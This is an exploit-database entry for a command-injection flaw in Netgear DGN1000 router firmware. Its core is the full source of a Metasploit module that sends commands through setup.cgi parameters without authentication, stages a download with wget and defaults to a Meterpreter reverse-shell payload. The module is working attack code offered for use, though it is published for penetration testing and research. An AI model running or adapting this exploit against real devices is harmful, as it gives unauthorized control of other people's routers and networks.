ID
VAR-E-201710-0438
EDB ID
43055
TITLE
Netgear DGN1000 1.1.00.48 - 'Setup.cgi' Remote Code Execution (Metasploit) - Hardware remote Exploit
Trust: 0.6
DESCRIPTION
Netgear DGN1000 1.1.00.48 - 'Setup.cgi' Remote Code Execution (Metasploit).. remote exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | netgear | model: | dgn1000 | scope: | eq | version: | 1.1.00.48 | Trust: 1.6 |
EXPLOIT
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated OS command execution vulneralbility
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
DGN2000v1 models.
},
'Author' => [
'Mumbai <https://github.com/realoriginal>', # module
'Robort Palerie <roberto@greyhats.it>' # vuln discovery
],
'References' => [
['EDB', '25978'],
],
'DisclosureDate' => 'Jun 5 2013',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end
def check
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /DGN1000/
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Connecting to target...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
end
print_status("#{peer} - Exploiting target ....")
execute_cmdstager(
:flavor => :wget,
:linemax => 200,
:concat_operator => " && "
)
end
def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET',
'vars_get' => {
'next_file' => 'netgear.cfg',
'todo' => 'syscmd',
'cmd' => cmd.to_s,
'curpath' => '/',
'currentsetting.htm' => '1'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
'Setup.cgi' Remote Code Execution (Metasploit)
Trust: 1.0
TAGS
| tag: | Metasploit Framework (MSF) | Trust: 1.0 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 43055 | Trust: 1.6 |
| db: | EDBNET | id: | 94804 | Trust: 0.6 |
REFERENCES
| url: | https://raw.githubusercontent.com/rapid7/metasploit-framework/cd35ae46611f650bfc157ce956b0de3857981ee5/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb | Trust: 1.0 |
| url: | https://www.exploit-db.com/exploits/43055/ | Trust: 0.6 |
SOURCES
| db: | EXPLOIT-DB | id: | 43055 |
| db: | EDBNET | id: | 94804 |
LAST UPDATE DATE
2022-07-27T09:15:08.553000+00:00
SOURCES RELEASE DATE
| db: | EXPLOIT-DB | id: | 43055 | date: | 2017-10-25T00:00:00 |
| db: | EDBNET | id: | 94804 | date: | 2017-10-25T00:00:00 |